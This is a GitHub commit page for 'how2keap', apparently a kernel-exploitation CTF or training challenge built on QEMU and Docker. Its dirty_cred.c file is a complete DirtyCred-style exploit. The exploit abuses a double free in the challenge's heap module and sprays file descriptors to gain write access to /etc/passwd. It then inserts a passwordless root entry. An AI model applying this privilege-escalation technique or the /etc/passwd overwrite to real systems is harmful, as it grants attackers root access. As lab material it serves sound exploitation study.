Skip to content

Commit

Permalink
init
Browse files Browse the repository at this point in the history
  • Loading branch information
gfelber committed May 7, 2024
0 parents commit 87dc5d2
Show file tree
Hide file tree
Showing 26 changed files with 1,119 additions and 0 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
pwn.c
rootfs.cpio
rootfs
share/rootfs.cpio.gz
share/bzImage
29 changes: 29 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
FROM debian:buster

RUN apt-get update && apt-get install -y --no-install-recommends \
qemu-system-x86 socat \
&& rm -rf /var/lib/apt/lists/

RUN useradd --create-home --shell /bin/bash keap
WORKDIR /home/keap

COPY deploy/run.sh share/bzImage share/rootfs.cpio.gz /home/keap/

RUN chmod 555 /home/keap && \
chown -R root:root /home/keap/ && \
chmod 000 /home/keap/* && \
chmod 555 /home/keap/run.sh && \
chmod 444 /home/keap/bzImage && \
chmod 444 /home/keap/rootfs.cpio.gz

EXPOSE 1337

USER keap
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'

USER keap

CMD socat -T 300 \
TCP-LISTEN:1337,nodelay,reuseaddr,fork \
EXEC:"stdbuf -i0 -o0 -e0 /home/keap/run.sh",stderr,user=keap,group=keap

25 changes: 25 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
AUTHOR = "\x06\xfe\x1b\xe2"
NAME = pwn

CC = cc
CFLAGS = -static -Os -DGNU_SOURCE
CLIBS = -pthread
CFLAGS += $(CLIBS)
debug: CFLAGS += -DDEBUG

all: $(NAME)

$(NAME): $(NAME).o util.o keap.o
$(CC) $(CFLAGS) $(NAME).o util.o keap.o -o ./$(NAME)

$(NAME).o: $(NAME).c
$(CC) $(CFLAGS) -c $(NAME).c

util.o: ./libs/util.c
$(CC) $(CFLAGS) -c libs/util.c

keap.o: ./libs/keap.c
$(CC) $(CFLAGS) -c libs/keap.c

clean:
rm -f *.o $(NAME) ./rootfs/$(NAME)
44 changes: 44 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# how2keap

```
####################################################
# #
# Tired of bloated heap implementations? #
# __ #
# | | __ ____ _____ ______ #
# | |/ // __ \\__ \ \____ \ #
# | <\ ___/ / __ \| |_> > #
# use |__|_ \\___ >____ / __/ #
# \/ \/ \/|__| #
# #
####################################################
```

flag is in /dev/sda

modify ./rootfs/init to improve debugging

## run examples
just replace pwn.c with the example you want to run (i.e. dirty\_cred.c)

## helper scripts:

+ scripts/decompress.sh
run this to extract the rootfs.cpio.gz into ./rootfs

+ scripts/compress.sh
recompress ./rootfs into rootfs.cpio.gz (i.e. after changes were made)

+ scripts/build.sh
build the exploit (pwn.c), and add it to the root of the filesystem /pwn,
if changes were made (autorun in start-qemu.sh and run-gdb.sh)

+ scripts/start-qemu.sh
start qemu vm

+ scripts/run-gdb.sh
run qemu and attach gdb to it (expects to be run in tmux session),
uses scripts/gdbinit

## helpful links
+ bootlin: https://elixir.bootlin.com/linux/v6.6.22/source
16 changes: 16 additions & 0 deletions deploy/run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#!/bin/sh

FLAG_FILE=$(mktemp)

printenv FLAG > $FLAG_FILE

exec qemu-system-x86_64 \
-kernel /home/keap/bzImage \
-cpu kvm64,+smap,+smep \
-m 1G \
-initrd /home/keap/rootfs.cpio.gz \
-hda $FLAG_FILE \
-append "rootwait root=/dev/vda console=tty1 console=ttyS0" \
-monitor /dev/null \
-nographic \
-no-reboot
122 changes: 122 additions & 0 deletions dirty_cred.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
#include <unistd.h>
#include "libs/pwn.h"

#define FS_CONTEXT_SIZE 256
#define NUM_SPRAY_FDS 0x300

/*
* inspired by https://chovid99.github.io/posts/hitcon-ctf-2023/
*/

int main(void)
{

int tmp_a;
int freed_fd = -1;
void* keap_ptr;
char buf[FS_CONTEXT_SIZE];
bzero(buf, sizeof(buf));

puts("[+] Initial setup");

rlimit_increase(RLIMIT_NOFILE);

// Pin CPU
pin_cpu(0, 0);

init();

// create target file
tmp_a = SYSCHK(open("/tmp/a", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR));
SYSCHK(close(tmp_a));

puts("[+] create and free heap allocation for double free later");
keap_ptr = keap_malloc(FS_CONTEXT_SIZE, GFP_KERNEL_ACCOUNT);

keap_free(keap_ptr);
// spray

/*******************************
* DIRTY CRED *
*******************************/

puts("=======================");
puts("[+] Start the main exploit");

puts("[+] Spray FDs");
int spray_fds[NUM_SPRAY_FDS];
for(int i =0;i<NUM_SPRAY_FDS;i++){
spray_fds[i] = open("/tmp/a", O_RDWR); // /tmp/a is a writable file
if (spray_fds[i] == -1) {
puts("Failed to open FDs");
return EXIT_FAILURE;
}
}

puts("[+] Free one of the FDs via double free keap");
keap_read(buf, keap_ptr, FS_CONTEXT_SIZE);
#ifdef DEBUG
print_hex(buf, FS_CONTEXT_SIZE);
#endif
keap_free(keap_ptr);
// After: 1 fd but pointed chunk is free

// Spray to replace the previously freed chunk
// Set the lseek to 0x8, so that we can find easily the fd
puts("[+] Find the freed FD using lseek");
int spray_fds_2[NUM_SPRAY_FDS];
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds_2[i] = open("/tmp/a", O_RDWR);
lseek(spray_fds_2[i], 0x8, SEEK_SET);
}
// After: 2 fd 1 refcount (Because new file)

// The freed fd will have lseek value set to 0x8. Try to find it.
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 8) {
freed_fd = spray_fds[i];
lseek(freed_fd, 0x0, SEEK_SET);
printf("[+] Found freed fd: %d\n", freed_fd);
break;
}
}

keap_read(buf, keap_ptr, FS_CONTEXT_SIZE);
#ifdef DEBUG
print_hex(buf, FS_CONTEXT_SIZE);
#endif

if (freed_fd == -1) {
puts("Failed to find FD");
return EXIT_FAILURE;
}

// mmap trick instead of race with write
puts("[+] DirtyCred via mmap");
char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
// After: 3 fd 2 refcount (Because new file)

close(freed_fd);
// After: 2 fd 1 refcount (Because new file)

for (int i = 0; i < NUM_SPRAY_FDS; i++) {
close(spray_fds_2[i]);
}
// After: 1 fd 0 refcount (Because new file)
// Effect: FD in mmap (which is writeable) can be replaced with RDONLY file

for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds[i] = open("/etc/passwd", O_RDONLY);
}
// After: 2 fd 1 refcount (but writeable due to mmap)
keap_read(buf, keap_ptr, FS_CONTEXT_SIZE);
#ifdef DEBUG
print_hex(buf, FS_CONTEXT_SIZE);
#endif

strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
puts("[+] Finished! Reading Flag");
puts("=======================");
system("su -c 'cat /dev/sda'");
return 0;
}
10 changes: 10 additions & 0 deletions docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
version: "3"
services:
keap:
build: .
ports:
- "28338:1337"
expose:
- "28338"
environment:
FLAG: keap{REDACTED}
Loading

0 comments on commit 87dc5d2

Please sign in to comment.